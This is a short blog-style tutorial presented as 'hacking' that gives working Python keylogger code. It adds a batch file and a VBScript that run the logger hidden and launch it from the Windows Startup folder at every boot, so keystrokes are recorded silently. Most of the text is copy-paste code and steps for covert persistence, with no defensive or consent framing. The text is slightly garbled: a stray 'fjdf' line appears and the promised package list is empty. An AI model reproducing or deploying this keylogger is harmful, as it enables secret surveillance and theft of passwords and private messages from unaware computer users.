Hacking With Python in Just 10 lines of Code | Key Logger
Hacking With Python in Just 10 lines of Code - A Key Logger
A KeyLogger logs every stroke of the keyboard into a seperate file . This is a basic keylogger which we can run on a computer we need to log the strokes .
The 2 main Packages needed are :
And that is all we needed .
Once you have them installed copy and paste the following code :
from pynput.keyboard import Key , Listener
keys=[]
def on_press(key):
keys.append(key)
d=open("C:/Users/DELL/Desktop/logofmaniacs.txt","w")
d.write(str(keys))
d.close()
with Listener(on_press) as listner:
listner.join()
Save the file in .py extension and Run the Code pressing F5 .
The code starts executing and once you start typing a new text file logofmaniacs.txt is created and has all keystrokes logged .
But once the execution is stopped the keylogging also stops .
To make it run continuously we create a batch file .
Create a batch file with - Python "File_path" :
python C:\Users\DELL\Desktop\keyloggerofmaniacs.py %*
fjdf
Save this with .bat extension .
It will execute the program with cmd . But still it is visible to the user .
To make it invisible we can setup a .vbs file and create a shortcut in startup folder to run it whenever the PC is turned ON .
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "C:\Users\DELL\Desktop\Run_maniac.bat" & chr(34),0
Set WshShell = Nothing
Save it in .vbs extension.
Press Windows Key + R and search for shell:startup to open Startup Folder and copy and paste the Shortcut of the .vbs folder .
Now whenever the PC is turned On the Program gets executed silently and all keystrokes will be logged in the .txt file.
As said this is just a simple version and much more can be improvised in it .
Comments
Post a Comment